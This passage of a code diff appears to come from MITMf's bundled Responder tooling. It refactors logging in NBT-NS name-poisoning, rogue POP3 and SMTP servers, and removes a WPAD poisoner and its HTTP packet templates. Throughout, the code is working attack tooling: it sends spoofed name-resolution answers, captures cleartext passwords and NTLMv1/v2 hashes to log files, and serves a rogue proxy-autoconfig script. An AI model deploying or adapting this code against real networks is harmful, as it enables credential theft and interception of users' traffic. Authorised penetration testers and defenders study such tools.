WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
mitmf_logger.info('[MSSQLServer] {} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0]

View file

@ -7,15 +7,17 @@ import logging
import string
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("NBTNSpoisoner", formatter)
class NBTNSPoisoner():
class NBTNSpoisoner():
def start(self, options, ourip):
@ -23,13 +25,13 @@ class NBTNSPoisoner():
global args; args = options
try:
mitmf_logger.debug("[NBTNSPoisoner] OURIP => {}".format(ourip))
log.debug("OURIP => {}".format(ourip))
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
t = threading.Thread(name="NBTNSPoisoner", target=server.serve_forever)
t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.debug("[NBTNSPoisoner] Error starting on port 137: {}".format(e))
except Exception as e:
log.debug("Error starting on port 137: {}".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
@ -107,7 +109,7 @@ def Decode_Name(nbname):
((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except Exception, e:
mitmf_logger.debug("[NBTNSPoisoner] Error parsing NetBIOS name: {}".format(e))
log.debug("Error parsing NetBIOS name: {}".format(e))
return "Illegal NetBIOS name"
# NBT_NS Server class.
@ -115,7 +117,7 @@ class NB(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
ResponderConfig = ConfigWatcher().config['Responder']
DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo']
@ -136,11 +138,11 @@ class NB(BaseRequestHandler):
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
except Exception:
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
else:
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
if RespondToSpecificHost(RespondTo) and args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
@ -151,26 +153,26 @@ class NB(BaseRequestHandler):
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
@ -185,26 +187,26 @@ class NB(BaseRequestHandler):
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass

View file

@ -5,20 +5,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.common import *
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("POP3server", formatter)
class POP3Server():
class POP3server():
def start(self):
try:
mitmf_logger.debug("[POP3Server] online")
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
t = threading.Thread(name="POP3Server", target=server.serve_forever)
t = threading.Thread(name="POP3server", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e))
except Exception as e:
log.error("Error starting on port {}: {}".format(110, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -43,7 +45,7 @@ class POP(BaseRequestHandler):
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
mitmf_logger.info('[+]POP3 User: %s'%(User))
log.info('POP3 User: %s'%(User))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
@ -51,7 +53,7 @@ class POP(BaseRequestHandler):
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
@ -60,4 +62,4 @@ class POP(BaseRequestHandler):
self.request.send(str(t))
data = self.request.recv(1024)
except Exception as e:
mitmf_logger.error("[POP3Server] Error handling request: {}".format(e))
log.error("Error handling request: {}".format(e))

View file

@ -5,21 +5,23 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from base64 import b64decode
from SMTPPackets import *
from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("SMTPserver", formatter)
class SMTPServer():
class SMTPserver():
def serve_thread_tcp(self, port):
try:
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
server.serve_forever()
except Exception as e:
mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e))
log.error("Error starting TCP server on port {}: {}".format(port, e))
#Function name self-explanatory
def start(self):
mitmf_logger.debug("[SMTPServer] online")
log.debug("online")
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
@ -56,7 +58,7 @@ class ESMTP(BaseRequestHandler):
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
except Exception as e:
mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e))
log.error("Error handling request: {}".format(e))

View file

@ -1,275 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from base64 import b64decode,b64encode
#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
class WPADScript(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServerExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServeAlwaysExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
("FileCRLF", ";\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServeAlwaysNormalFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: text/html\r\n"),
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
#HTTP Packet used for further NTLM auth.
class IIS_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
("Connection", "Connection: close \r\n"),
("PConnection", "proxy-Connection: close \r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
#HTTP NTLM packet.
class IIS_407_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
#HTTP Basic answer packet.
class IIS_Basic_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
#HTTP Packet used for further NTLM auth.
class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
#HTTP Packet Granted auth.
class IIS_Auth_Granted(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
#HTTP NTLM Auth
class NTLM_Challenge(Packet):
fields = OrderedDict([
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
##First convert to uni
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
##Then calculate
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
# Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
#AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
#AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
#HTTP NTLM packet.
class IIS_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "WWW-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
#HTTP Basic answer packet.
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])

View file

@ -1,157 +0,0 @@
import socket
import threading
import logging
import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.common import *
from HTTPPackets import *
mitmf_logger = logging.getLogger("mitmf")
class WPADPoisoner():
def start(self, options):
global args; args = options
args.forceWpadAuth = False
args.basic = False
try:
mitmf_logger.debug("[WPADPoisoner] online")
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
t = threading.Thread(name="HTTP", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[WPADPoisoner] Error starting on port {}: {}".format(80, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#HTTP Server Class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
buff = WpadCustom(data,self.client_address[0])
if buff and args.forceWpadAuth is False:
mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
self.request.send(buff)
else:
buffer0 = PacketSequence(data,self.client_address[0])
self.request.send(buffer0)
except Exception as e:
pass
#Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
if NthashLen == 24:
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/HTTP-NTLMv1-Client-"+client+".txt"
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
WriteData(outfile,WriteHash, User+"::"+Hostname)
mitmf_logger.info('[+]HTTP NTLMv1 hash captured from :%s'%(client))
mitmf_logger.info('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname))
mitmf_logger.info('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash))
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
outfile = "./logs/responder/HTTP-NTLMv2-Client-"+client+".txt"
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
WriteData(outfile,WriteHash, User+"::"+Domain)
mitmf_logger.info('[+]HTTP NTLMv2 hash captured from :%s'%(client))
mitmf_logger.info('[+]HTTP NTLMv2 User is : %s'%(User))
mitmf_logger.info('[+]HTTP NTLMv2 Domain is :%s'%(Domain))
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
def WpadCustom(data,client):
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
buffer1 = WPADScript(Payload=WPAD_Script)
buffer1.calculate()
return str(buffer1)
else:
return False
# Function used to check if we answer with a Basic or NTLM auth.
def Basic_Ntlm(Basic):
if Basic == True:
return IIS_Basic_401_Ans()
else:
return IIS_Auth_401_Ans()
#Handle HTTP packet sequence.
def PacketSequence(data,client):
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if Ntlm:
packetNtlm = b64decode(''.join(Ntlm))[8:9]
if packetNtlm == "\x01":
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_NTLM_Challenge_Ans()
t.calculate(str(r))
buffer1 = str(t)
return buffer1
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(Ntlm))
ParseHTTPHash(NTLM_Auth,client)
if args.forceWpadAuth and WpadCustom(data,client):
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
if BasicAuth:
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
if args.forceWpadAuth and WpadCustom(data,client):
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
else:
return str(Basic_Ntlm(args.basic))